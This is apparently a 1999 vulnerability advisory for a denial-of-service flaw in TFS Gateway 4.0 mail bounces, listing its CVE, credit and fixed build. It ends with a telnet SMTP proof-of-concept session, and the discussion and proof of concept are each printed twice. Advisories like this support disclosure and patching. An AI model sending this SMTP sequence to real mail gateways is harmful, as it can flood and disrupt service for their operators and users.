TFS Gateway 4.0 Denial of Service Vulnerability
BID:613
Info
TFS Gateway 4.0 Denial of Service Vulnerability
| Bugtraq ID: | 613 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: |
CVE-1999-1515 |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 31 1999 12:00AM |
| Updated: | Jul 11 2009 12:56AM |
| Credit: | The credit for this vulnerability being exposed goes to "FableMan / Noxidus / #HACK on IRC-Net". The information was emailed to Security Focus on August 30, 1999. |
| Vulnerable: |
TFS Gateway 4.0 |
| Not Vulnerable: |
TFS Gateway 4.0 Build 219 |
Discussion
TFS Gateway 4.0 Denial of Service Vulnerability
TFS Gateway 4.0, when configured in a specific non-default manner, is vulnerable to a remotely exploitable denial of service attack. If 'return entire message to sender' is enabled for failed send attempts, and an email is sent to the TFS Gateway with 1: the From: address set to an invalid address on a remote machine and 2: an invalid To: address on the target machine, the gateway will attempt to return the complete message once every 10 seconds until an administrator manually stops it. If enough emails of sufficient size of this nature are sent it can lead to a degradation or denial of service.
TFS Gateway 4.0, when configured in a specific non-default manner, is vulnerable to a remotely exploitable denial of service attack. If 'return entire message to sender' is enabled for failed send attempts, and an email is sent to the TFS Gateway with 1: the From: address set to an invalid address on a remote machine and 2: an invalid To: address on the target machine, the gateway will attempt to return the complete message once every 10 seconds until an administrator manually stops it. If enough emails of sufficient size of this nature are sent it can lead to a degradation or denial of service.
Exploit / POC
TFS Gateway 4.0 Denial of Service Vulnerability
telnet to Gateway smtp server and enter the following commands:
HELO
MAIL FROM: [email protected]
RCPT TO: [email protected]
DATA
.
QUIT
telnet to Gateway smtp server and enter the following commands:
HELO
MAIL FROM: [email protected]
RCPT TO: [email protected]
DATA
.
QUIT